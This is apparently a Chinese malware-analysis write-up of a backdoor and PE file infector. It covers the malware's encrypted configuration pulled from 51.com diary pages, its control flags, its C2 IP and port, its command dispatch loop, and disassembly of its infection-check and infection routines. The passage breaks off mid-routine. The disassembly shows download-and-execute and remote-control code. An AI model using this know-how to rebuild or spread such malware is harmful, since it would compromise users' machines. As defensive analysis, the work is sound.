$+18 >74 70 3A 2F 2F 77 77 77 tp://www
$+20 >2E 31 64 69 73 6B 2E 63 .1disk.c
$+28 >6E 2F 43 6F 6E 74 65 6E n/Conten
$+30 >74 50 61 6E 65 2E 61 73 tPane.as
$+38 >70 78 3F 64 6F 77 6E 3D px?down=
$+40 >6F 6B 26 66 69 6C 65 70 ok&filep
$+48 >61 74 68 3D 74 65 73 74 ath=test
$+50 >37 37 35 38 25 32 66 44 7758%2fD
$+58 >4E 46 2E 64 61 74 00 NF.dat.
解密后的数据,
的结构为:
struct download_config
{
+0 dword frist_dword 下载的文件大小
+4 byte byte_4取决于byte_5
+5 byte byte_5
+len(filename) 之后的下载连接
}
如果byte_5是“:”,分两种情况,
byte_4是 “%” ,则下到系统目录
byte_4不是 “%” 则会判断文件是否存在,如果不存在,直接下载到当前目录
如果byte_5不是“:”,从偏移为4 开始作为文件名的一部分下载到临时目录
接下来从
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358下载的数据为:
{
window.modData = {"view":{"id":"10052358","gid":"135189","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########AKAAAAAAHAHAAAAAAAAAHAHAAAAAAAAA","weekday":"1","show_time":"2010-11-21 19:46:00","flower":"0","egg":"0","ping":"0","click":"4223644","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/test4862\/diary\/item\/10052358.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290340014"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"catalog":[{"id":"135189","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/test4862\/diary\/group\/135189","count":"1"},{"id":"135190","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/test4862\/diary\/group\/135190","count":"0"},{"id":"135191","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/test4862\/diary\/group\/135191","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\ufe4f\u53f6\u843d\u65e0\u58f0\u3001","face":"http:\/\/p6.u.51img1.com\/63\/63\/236527861_50.gif?v=20111013151050","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"236527861","_user":"aweiy_z","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"4"},"morediary":[],"current":{"gid":"135189","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/test4862\/diary\/group\/135189"}};
}
同样解密算法
返回的大小 0x0a
$ ==> >00 00 00 00 70 70 00 00 ....pp..
$+8 >00 00 ..
$ ==> 00900020 00 00 00 00 70 70 00 00 ....pp..
$+8 00900028 00 00 70 70 00 00 00 00 ..pp....
$+10 00900030 EF 37 66 A3 3B FF FF EF ?f?
$+18 00900038 33 7E 7F 3A E6 FF FF FF 3~:?
$+20 00900040 EE FF FF FF FF FF FF EF ?
$+28 00900048 EF 37 BE 66 EF EF EF EF ?緁镲镲
$+30 00900050 66 FF EF EF EF FA F6 FF f镲嵇?
$+38 00900058 EF EF 32 BA 2A FF FF FF 镲2?
$+40 00900060 FF FF EF 33 F7 32 73 FF ??s
$+48 00900068 EF EF 33 72 36 E7 B2 FF 镲3r6绮
$+50 00900070 EF FF EF 27 33 5F 73 73 ??3_ss
$+58 00900078 FF EF EF 37 A3 5F 2E EE 镲7.
$+60 00900080 6F EF EF EF EF 27 33 5F o镲镲'3_
$+68 00900088 F7 FF EF EF EF 73 ?镲飐镲
struct confif_data_for_backdoor
{
+0 dword 判断是否需要从其他链接中下载配置文件 如果为0 则表示需要 赋值给00401854
+4 word 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为 0040184c初始为0 或得结果为70700000
但是解密返回来的大小为0xa 如果这个是个dword明显超出了 我们回头看看其解密过程的末尾
.text:00401AC5 mov ecx, [ebp+first_dword_after_decrypt]
.text:00401AC8 mov edi, [ebp+arg_0_read_data]
.text:00401ACB mov esi, edi
.text:00401ACD add esi, 6
.text:00401AD0 rep movsb
显然它把解密后的数据从偏移为6 开始向前覆盖了 所以偏移为+a 的word就是偏移为4的word 即0x7070
}
看看控制的相关代码:
.text: 004050CD execute_command_accordingto_dword_flag proc near
.text: 004050CD
.text: 004050CD
.text: 004050CD
.text: 004050CD arg_0_confif_data_for_backdoor_jia_c= dword ptr 8
.text: 004050CD arg_4_0x1000 = dword ptr 0Ch
.text: 004050CD
.text: 004050CD 55 push ebp
.text: 004050CE 8B EC mov ebp , esp
.text: 004050D0
.text: 004050D7 B8 48 18 40 00 mov eax , 401848h
.text: 004050DC F7 00 00 00 00 10 test dword ptr [eax ], 10000000h
.text: 004050E2 74 0D jz short loc_4050F1
.text: 004050E4 FF 75 0C push [ebp +arg_4_0x1000]
.text: 004050E7 FF 75 08 push [ebp +arg_0_confif_data_for_backdoor_jia_c]
.text: 004050EA E8 2A 0E 00 00 call Download_file_execute
.text: 004050EF EB 21 jmp short loc_405112
.text: 004050F1
.text: 004050F8 B8 48 18 40 00 mov eax , offset unk_401848
.text: 004050FD F7 00 00 00 00 20 test dword ptr [eax ], 20000000h
.text: 00405103 74 0D jz short loc_405112
.text: 00405105 FF 75 0C push [ebp +arg_4_0x1000]
.text: 00405108 FF 75 08 push [ebp +arg_0_confif_data_for_backdoor_jia_c]
.text: 0040510B E8 17 1B 00 00 call CreateFile_Exuecute
.text: 00405110 EB 00 jmp short $+2
.text: 00405112
.text: 00405119 B8 48 18 40 00 mov eax , offset unk_401848
.text: 0040511E F7 00 00 00 00 40 test dword ptr [eax ], 40000000h
.text: 00405124 74 05 jz short locret_40512B
.text: 00405126 E8 47 E6 FF FF call Infect_with_flag__
.text: 0040512B
.text: 0040512B locret_40512B:
.text: 0040512B C9 leave
.text: 0040512C C2 08 00 retn
if (control_flag & 0x10000000)
下载执行,其中连接由confif_data_for_backdoor+c 指定
goto infect
if (control_flag & 0x20000000)
如果有% 则直接用系统盘替换%
否则,在系统目录下创建文件 文件名由confif_data_for_backdoor+c 指定
goto infect
infect:
if (control_flag & 0x40000000)
if (control_flag & 0x00000001)
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件
40000081 什么也不做
40000021 写入与文件夹同名的exe 保证图标与文件夹图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
40000041 写入与doc同名的exe 保证图标与doc文档图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
40000009 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件
40000011 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}
if (control_flag & 0x00000002)
枚举各个盘符只感染如下文件
'RarExt.dll',0
'ppsap.exe',0
'procdll.dll',0
'thunders.dll',0
'Storm.dll',0
前面说过了
confif_data_for_backdoor的第一个dword决定了是否继续下载配置文件 我们下载下来的dword为0 其会继续下载,
http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625
下载的数据为:
{
window.modData = {"view":{"id":"10047625","gid":"133252","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########DLAAAAAAFFCENOKOHDJLHAHAEAAABPABAAGACFDKFMFAHCGPGHHCGBGNCAEGGJGMGFHDFMFEGFGOGDGFGOHEFMFBFBFMENFBFBFCGFHDFMFBFBENHFHDGJGDCOGFHIGFAA","weekday":"1","show_time":"2010-11-21 16:25:00","flower":"0","egg":"0","ping":"0","click":"4216665","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/lichao3596\/diary\/item\/10047625.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290327905"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"catalog":[{"id":"133252","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/lichao3596\/diary\/group\/133252","count":"1"},{"id":"133253","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/lichao3596\/diary\/group\/133253","count":"0"},{"id":"133254","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/lichao3596\/diary\/group\/133254","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u71a0","face":"http:\/\/p3.u.51img1.com\/39\/75\/yilin261010107_50.gif?v=20090528094841&cool=0","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"yilin261010107","_user":"yilin261010107","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"Amu2730","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"amu2730","_user":"amu2730","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"5"},"morediary":[],"current":{"gid":"133252","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/lichao3596\/diary\/group\/133252"}};
}
解密后的数据为:
返回的大小为0x3b
$ ==> >DE AE 73 9B 70 70 40 00 蕻s沺p@.
$+8 >1F 01 00 60 25 3A 5C 50 .`%:\P
$+10 >72 6F 67 72 61 6D 20 46 rogram F
$+18 >69 6C 65 73 5C 54 65 6E iles\Ten
$+20 >63 65 6E 74 5C 51 51 5C cent\QQ\
$+28 >4D 51 51 52 65 73 5C 51 MQQRes\Q
$+30 >51 4D 75 73 69 63 2E 65 QMusic.e
$+38 >78 65 00 63 2E 65 78 65 xe.c.exe
$+40 >00 EF 37 66 A3 3B FF FF .?f?
$+48 >EF 33 7E 7F 3A E6 FF FF ?~:?
$+50 >FF EE FF FF FF FF FF FF ?
这个结构体和前面的结构体解析是一样的 不过这里的第一个dword 不是作为标志了 而是一个ip地址,用来连接执行后门功能的
其中
00401850指向一个sockaddr
struct confif_data_for_backdoor
{
+0 dword ip_address 赋值给00401854
+4 word port 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为 0040184c初始为0 或得结果为6000011F
}
根据前面的分析 可知道该control_flag 执行的功能为:
创建系统盘:\Program Files\Tencent\QQ\MQQRes\QQMusic.exe
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件
40000008 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件
40000010 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}
枚举各个盘符只感染如下文件
.text:00401B71 52 61 72 45 78 74+String1 db 'RarExt.dll',0 ; DATA XREF: infect_pe+CAo
.text:00401B7C 70 70 73 61 70 2E+aPpsap_exe_0 db 'ppsap.exe',0
.text:00401B86 70 72 6F 63 64 6C+aProcdll_dll db 'procdll.dll',0
.text:00401B92 74 68 75 6E 64 65+aThunders_dll db 'thunders.dll',0
.text:00401B9F 53 74 6F 72 6D 2E+aStorm_dll db 'Storm.dll',0
由配置文件可知其连接的ip为:
222.174.115.155 端口为0x7070
执行后门功能的主要线程地址为:
0040512f
后门的功能包括:
获取系统网络信息
下载执行文件
感染pe文件
获取进程列表
杀进程
删除和拷贝文件
截屏
更新ip地址和端口
还会记录计算机名等其他信息到注册表
等等
代码:.text:0040512F sub_40512F proc near ; DATA XREF: @net_activity_start+4Do
.text:0040512F
.text:0040512F read_size = dword ptr -5F4h
.text:0040512F fromlen = dword ptr -5F0h
.text:0040512F from = sockaddr ptr -5ECh
.text:0040512F buf = byte ptr -5DCh
.text:0040512F s = dword ptr 8
.text:0040512F
.text:0040512F push ebp
.text:00405130 mov ebp, esp
.text:00405132 add esp, 0FFFFFA0Ch
.text:00405138 mov [ebp+fromlen], 10h
.text:00405142
.text:00405142 @recv: ; CODE XREF: sub_40512F+6Ej
.text:00405142 ; sub_40512F+DCj ...
.text:00405142 lea eax, [ebp+fromlen]
.text:00405148 push eax ; fromlen
.text:00405149 lea eax, [ebp+from]
.text:0040514F push eax ; from
.text:00405150 push 0 ; flags
.text:00405152 push 4B0h ; len
.text:00405157 lea eax, [ebp+buf]
.text:0040515D push eax ; buf
.text:0040515E push [ebp+s] ; s
.text:00405161 ; nop code
.text:00405169 call recvfrom
.text:0040516F test eax, eax ; eax = number of bytes to read
.text:00405171 jz @reand_data_is_zero_ro_toobig
.text:00405177 cmp eax, 4B0h
.text:0040517C ja @reand_data_is_zero_ro_toobig
.text:00405182 mov [ebp+read_size], eax
.text:00405188 ; nop code
.text:0040518F mov eax, offset sockaddrr
.text:00405194 mov eax, [eax+4]
.text:00405197 cmp eax, dword ptr [ebp+from.sa_data+2]
.text:0040519D jnz short @recv
.text:0040519F xor eax, eax
.text:004051A1 mov al, [ebp+buf]
.text:004051A7 cmp eax, 4
.text:004051AA jz short @first_byte_is_4
.text:004051AC cmp eax, 3
.text:004051AF jz short loc_405223
.text:004051B1 cmp eax, 1
.text:004051B4 jz @first_byte_is_1
.text:004051BA cmp eax, 9
.text:004051BD jz @first_byte_is_9
.text:004051C3 cmp eax, 0Ah
.text:004051C6 jz @first_byte_is_a
.text:004051CC cmp eax, 0Ch
.text:004051CF jz @first_byte_is_c
.text:004051D5 cmp eax, 6
.text:004051D8 jz @first_byte_is_6
.text:004051DE cmp eax, 0Dh
.text:004051E1 jz @First_byte_is_D
.text:004051E7 cmp eax, 0Eh
.text:004051EA jz @first_byte_is_e
.text:004051F0 cmp eax, 0Fh
.text:004051F3 jz @first_byte_is_f
.text:004051F9 cmp eax, 10h
.text:004051FC jz @first_byte_is_10
.text:00405202 cmp eax, 11h
.text:00405205 jz @first_byte_is_11
.text:0040520B jmp @recv
.text:00405210 ; ---------------------------------------------------------------------------
.text:00405210
.text:00405210 @first_byte_is_4: ; CODE XREF: sub_40512F+7Bj
.text:00405210 push 8
.text:00405212 lea eax, [ebp+buf+1]
.text:00405218 push eax
.text:00405219 call Get_mcname_in_reg
.text:0040521E jmp @recv
.text:00405223 ; ---------------------------------------------------------------------------
.text:00405223
.text:00405223 loc_405223: ; CODE XREF: sub_40512F+80j
.text:00405223 mov eax, [ebp+read_size]
.text:00405229 dec eax
.text:0040522A push eax
.text:0040522B lea eax, [ebp+buf+1]
.text:00405231 push eax
.text:00405232 call Set_mcname_in_reg
.text:00405237 jmp @recv
.text:0040523C ; nop code
.text:00405243 mov eax, offset unk_40188C
.text:00405248 cmp dword ptr [eax], 0
.text:0040524B jnz short loc_405273
.text:0040524D mov eax, dword ptr [ebp+buf+5]
.text:00405253 push eax
.text:00405254 mov eax, dword ptr [ebp+buf+1]
.text:0040525A test eax, eax
.text:0040525C jnz short loc_40526D
.text:0040525E ; nop code
.text:00405265 mov eax, offset sockaddrr
.text:0040526A mov eax, [eax+4]
.text:0040526D
.text:0040526D loc_40526D: ; CODE XREF: sub_40512F+12Dj
.text:0040526D push eax
.text:0040526E call backdoor
.text:00405273
.text:00405273 loc_405273: ; CODE XREF: sub_40512F+11Cj
.text:00405273 jmp @recv
.text:00405278 ; ---------------------------------------------------------------------------
.text:00405278
.text:00405278 @first_byte_is_9: ; CODE XREF: sub_40512F+8Ej
.text:00405278 call query_data_in_reg_send_out
.text:0040527D jmp @recv
.text:00405282 ; ---------------------------------------------------------------------------
.text:00405282
.text:00405282 @first_byte_is_a: ; CODE XREF: sub_40512F+97j
.text:00405282 mov eax, [ebp+read_size]
.text:00405288 dec eax
.text:00405289 push eax
.text:0040528A lea eax, [ebp+buf+1]
.text:00405290 push eax
.text:00405291 call Save_recv_data_to_reg
.text:00405296 jmp @recv
.text:0040529B ; ---------------------------------------------------------------------------
.text:0040529B
.text:0040529B @first_byte_is_c: ; CODE XREF: sub_40512F+A0j
.text:0040529B call Send_sysinfo
.text:004052A0 jmp @recv
.text:004052A5 ; ---------------------------------------------------------------------------
.text:004052A5
.text:004052A5 @first_byte_is_6: ; CODE XREF: sub_40512F+A9j
.text:004052A5 call Close_Socket
.text:004052AA jmp @recv
.text:004052AF ; ---------------------------------------------------------------------------
.text:004052AF
.text:004052AF @First_byte_is_D: ; CODE XREF: sub_40512F+B2j
.text:004052AF push 3E8h
.text:004052B4 lea eax, [ebp+buf+1]
.text:004052BA push eax
.text:004052BB call Download_File_Execute_
.text:004052C0 jmp @recv
.text:004052C5 ; ---------------------------------------------------------------------------
.text:004052C5
.text:004052C5 @first_byte_is_e: ; CODE XREF: sub_40512F+BBj
.text:004052C5 lea eax, [ebp+buf+1]
.text:004052CB push eax
.text:004052CC call Exec
.text:004052D1 jmp @recv
.text:004052D6 ; ---------------------------------------------------------------------------
.text:004052D6
.text:004052D6 @first_byte_is_f: ; CODE XREF: sub_40512F+C4j
.text:004052D6 push 3E8h
.text:004052DB lea eax, [ebp+buf+1]
.text:004052E1 push eax
.text:004052E2 call Download_File_Execute
.text:004052E7 jmp @recv
.text:004052EC ; ---------------------------------------------------------------------------
.text:004052EC
.text:004052EC @first_byte_is_10: ; CODE XREF: sub_40512F+CDj
.text:004052EC lea eax, [ebp+buf+1]
.text:004052F2 push eax
.text:004052F3 call Delete_FILE_IN_TMP
.text:004052F8 jmp @recv
.text:004052FD ; ---------------------------------------------------------------------------
.text:004052FD
.text:004052FD @first_byte_is_11: ; CODE XREF: sub_40512F+D6j
.text:004052FD push 3E8h
.text:00405302 lea eax, [ebp+buf+1]
.text:00405308 push eax
.text:00405309 call Download_File
.text:0040530E jmp @recv
.text:00405313 ; nop code
.text:0040531A mov eax, offset unk_401860
.text:0040531F cmp dword ptr [eax], 0FFFFFFFFh
.text:00405322 jz short @retn
.text:00405324 push 3E8h ; dwMilliseconds
.text:00405329 ; nop code
.text:00405331 ; ---------------------------------------------------------------------------
.text:00405331 call Sleep
.text:00405337 jmp @recv
.text:0040533C ; nop code
.text:00405343 mov eax, 401888h
.text:00405348 mov dword ptr [eax], 0
.text:0040534E leave
.text:0040534F retn 4
.text:0040534F sub_40512F endp
最后看一下其感染pe文件的过程,感染exe的过程在00402124,程序首先会判断待感染程序是否已经被感染:
.text: 00401FCE Check_Infect_Or_not proc near
.text: 00401FCE
.text: 00401FCE
.text: 00401FCE Section_TABLE = S_PE_SECTION ptr -1B8h
.text: 00401FCE PEHEADER = S_PE_HEADER ptr -190h
.text: 00401FCE MZHeader = S_MZ_HEADER ptr -98h
.text: 00401FCE First_0x50_bytes_of_every_section= byte ptr -58h
.text: 00401FCE hfile = dword ptr -8
.text: 00401FCE is_infected = dword ptr -4
.text: 00401FCE arg_0_full_file_path= dword ptr 8
.text: 00401FCE arg_4_patch_call_num= dword ptr 0Ch
.text: 00401FCE
.text: 00401FCE push ebp
.text: 00401FCF mov ebp , esp
.text: 00401FD1 add esp , 0FFFFFE48h
.text: 00401FD7 push ebx
.text: 00401FD8 push ecx
.text: 00401FD9 push edx
.text: 00401FDA push edi
.text: 00401FDB push esi
.text: 00401FDC mov [ebp +is_infected], 1
.text: 00401FE3 mov eax , 0FFFFh
.text: 00401FE8 and [ebp +arg_4_patch_call_num], eax
打开文件 判断是否是pe文件
.text: 00401FEB push 0
.text: 00401FED push 80h
.text: 00401FF2 push 3
.text: 00401FF4 push 0
.text: 00401FF6 push 3
.text: 00401FF8 push 80000000h
.text: 00401FFD push [ebp +arg_0_full_file_path]
.text: 00402000
.text: 00402008
.text: 00402008 call CreateFileA
.text: 0040200E cmp eax , 0FFFFFFFFh
.text: 00402011 jz loc_402118
.text: 00402017 mov [ebp +hfile], eax
.text: 0040201A push 0
.text: 0040201C push 40h
.text: 0040201E lea eax , [ebp +MZHeader]
.text: 00402024 push eax
.text: 00402025 push [ebp +hfile]
.text: 00402028 call Read_fILE
.text: 0040202D test eax , eax
.text: 0040202F jz @closehandle
.text: 00402035 cmp word ptr [ebp +MZHeader. MZ_signature], 5A4Dh
.text: 0040203E jnz @closehandle
.text: 00402044 push [ebp +MZHeader. new_hdr_offset]
.text: 00402047 push 0F8h
.text: 0040204C lea eax , [ebp +PEHEADER]
.text: 00402052 push eax
.text: 00402053 push [ebp +hfile]
.text: 00402056 call Read_fILE
.text: 0040205B test eax , eax
.text: 0040205D jz @closehandle
.text: 00402063 cmp dword ptr [ebp +PEHEADER. PE_signature], 4550h
.text: 0040206D jnz @closehandle
.text: 00402073 xor ecx , ecx
.text: 00402075 mov ebx , [ebp +MZHeader. new_hdr_offset]
.text: 00402078 add ebx , 0F8h
节的数目不能大于0x10
.text: 0040207E movzx ecx , [ebp +PEHEADER. number_of_Sections]
.text: 00402085 cmp ecx , 10h
.text: 00402088 ja short @closehandle
.text: 0040208A mov [ebp +is_infected], 0
读取每个节的头0x50 个bytes 进行解密 检查
.text: 00402091
.text: 00402091 @loop_section_check:
.text: 00402091 test ecx , ecx
.text: 00402093 jz short @closehandle
.text: 00402095 push ebx
.text: 00402096 push 28h
.text: 00402098 lea eax , [ebp +Section_TABLE]
.text: 0040209E push eax
.text: 0040209F push [ebp +hfile]
.text: 004020A2 call Read_fILE
.text: 004020A7 test eax , eax
.text: 004020A9 jz short @closehandle
.text: 004020AB push [ebp +Section_TABLE. offset_in_file]
.text: 004020B1 push 50h
.text: 004020B3 lea eax , [ebp +First_0x50_bytes_of_every_section]
.text: 004020B6 push eax
.text: 004020B7 push [ebp +hfile]
.text: 004020BA call Read_fILE
.text: 004020BF test eax , eax
.text: 004020C1 jz short @closehandle
.text: 004020C3 lea edi , [ebp +First_0x50_bytes_of_every_section]
.text: 004020C6 mov eax , [edi ]
.text: 004020C8 mov esi , 50h
.text: 004020CD
.text: 004020CD @decrypt_first_0x50_section:
.text: 004020CD test esi , esi
.text: 004020CF jz short @check_infect_or_not
.text: 004020D1 xor [edi ], eax
.text: 004020D3 sub esi , 4
.text: 004020D6 add edi , 4
.text: 004020D9 jmp short @decrypt_first_0x50_section
.text: 004020DB
.text: 004020DB
如果解密后的第二个dword = 0x77582588 说明已经被感染,继续检查,第三个dword 应该为0x1xxxx形式,
third_dword & 0xffff 要大于等于传进来的要抽取多少个call 的数量,否则的话也不会设定已经被感染
.text: 004020DB @check_infect_or_not:
.text: 004020DB cmp dword ptr [ebp +First_0x50_bytes_of_every_section+4 ], 77582588h
.text: 004020E2 jnz short @next_section
.text: 004020E4 mov eax , dword ptr [ebp +First_0x50_bytes_of_every_section+8 ]
.text: 004020E7 test eax , 10000h
.text: 004020EC jnz short @already_infected
.text: 004020EE and eax , 0FFFFh
.text: 004020F3 cmp eax , [ebp +arg_4_patch_call_num]
.text: 004020F6 jge short @already_infected
.text: 004020F8 jmp short @closehandle
.text: 004020FA
.text: 004020FA
.text: 004020FA @next_section:
.text: 004020FA add ebx , 28h
.text: 004020FD dec ecx
.text: 004020FE jmp short @loop_section_check
.text: 00402100
.text: 00402100
.text: 00402100 @already_infected:
.text: 00402100
.text: 00402100 mov [ebp +is_infected], 1
.text: 00402107
.text: 00402107 @closehandle:
.text: 00402107
.text: 00402107 push [ebp +hfile]
.text: 0040210A
.text: 00402112
.text: 00402112 call CloseHandle
.text: 00402118
.text: 00402118 loc_402118:
.text: 00402118 mov eax , [ebp +is_infected]
.text: 0040211B pop esi
.text: 0040211C pop edi
.text: 0040211D pop edx
.text: 0040211E pop ecx
.text: 0040211F pop ebx
.text: 00402120 leave
.text: 00402121 retn 8
感染过程,病毒作者应该没有考虑pe文件有overlay的情况,如果有overlay会被病毒代码直接复写掉:.text:00402124 Infect_EXE_dll proc near ; CODE XREF: infect_known_file+82p
.text:00402124 ; Infect_with_flag+171p ...
.text:00402124
.text:00402124 Section = S_PE_SECTION ptr -30Ch
.text:00402124 PEHEADER = S_PE_HEADER ptr -2E4h
.text:00402124 MZHeader = S_MZ_HEADER ptr -1ECh
.text:00402124 First_0x64_bytes_of_every_section= byte ptr -1ACh
.text:00402124 patch_call_info = patch_call_info ptr -148h
.text:00402124 counter = dword ptr -48h
.text:00402124 alloc_address1 = dword ptr -44h
.text:00402124 Section.size_in_file= dword ptr -40h
.text:00402124 Section.offset_in_file= dword ptr -3Ch
.text:00402124 Section.relative_virtual_address= dword ptr -38h
.text:00402124 Section.size_in_file_chuyi_6= dword ptr -34h
.text:00402124 is_infected = dword ptr -30h
.text:00402124 sizeof_added_section_960a_file_aligment= dword ptr -2Ch
.text:00402124 filesize_mod_filealigment= dword ptr -28h
.text:00402124 oep = dword ptr -24h
.text:00402124 sizeof_alloc_address2= dword ptr -20h
.text:00402124 alloc_address2 = dword ptr -1Ch
.text:00402124 filesize = dword ptr -18h
.text:00402124 lase_section_table_end= dword ptr -14h
.text:00402124 filesize_file_aligment= dword ptr -10h
.text:00402124 sizeof_added_section_960a_image_aligment= dword ptr -0Ch
.text:00402124 rva_jia_vsize_of_lastsection_image_aligment= dword ptr -8
.text:00402124 hFile = dword ptr -4
.text:00402124 arg_0_file_to_be_infected= dword ptr 8
.text:00402124 arg_4_patch_call_num= dword ptr 0Ch
.text:00402124
.text:00402124 push ebp
.text:00402125 mov ebp, esp
.text:00402127 add esp, 0FFFFFCF4h
.text:0040212D push esi
.text:0040212E push edi
.text:0040212F push ecx
.text:00402130 push edx
.text:00402131 push ebx
.text:00402132 mov [ebp+is_infected], 0
.text:00402139 mov eax, 0FFFFh
.text:0040213E and [ebp+arg_4_patch_call_num], eax
打开文件判断是否是pe文件
.text:00402141 push 0 ; hTemplateFile
.text:00402143 push 80h ; dwFlagsAndAttributes
.text:00402148 push 3 ; dwCreationDisposition
.text:0040214A push 0 ; lpSecurityAttributes
.text:0040214C push 3 ; dwShareMode
.text:0040214E push 0C0000000h ; dwDesiredAccess
.text:00402153 push [ebp+arg_0_file_to_be_infected] ; lpFileName
.text:00402156 ; nop code
.text:0040215E call CreateFileA
.text:00402164 cmp eax, 0FFFFFFFFh
.text:00402167 jz @fail
.text:0040216D mov [ebp+hFile], eax
.text:00402170 push 0
.text:00402172 push 40h
.text:00402174 lea eax, [ebp+MZHeader]
.text:0040217A push eax
.text:0040217B push [ebp+hFile]
.text:0040217E call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:0040217E ; arg_4_outputbuffer= dword ptr 0Ch
.text:0040217E ; arg_8_read_size = dword ptr 10h
.text:0040217E ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402183 test eax, eax
.text:00402185 jz @closehandle
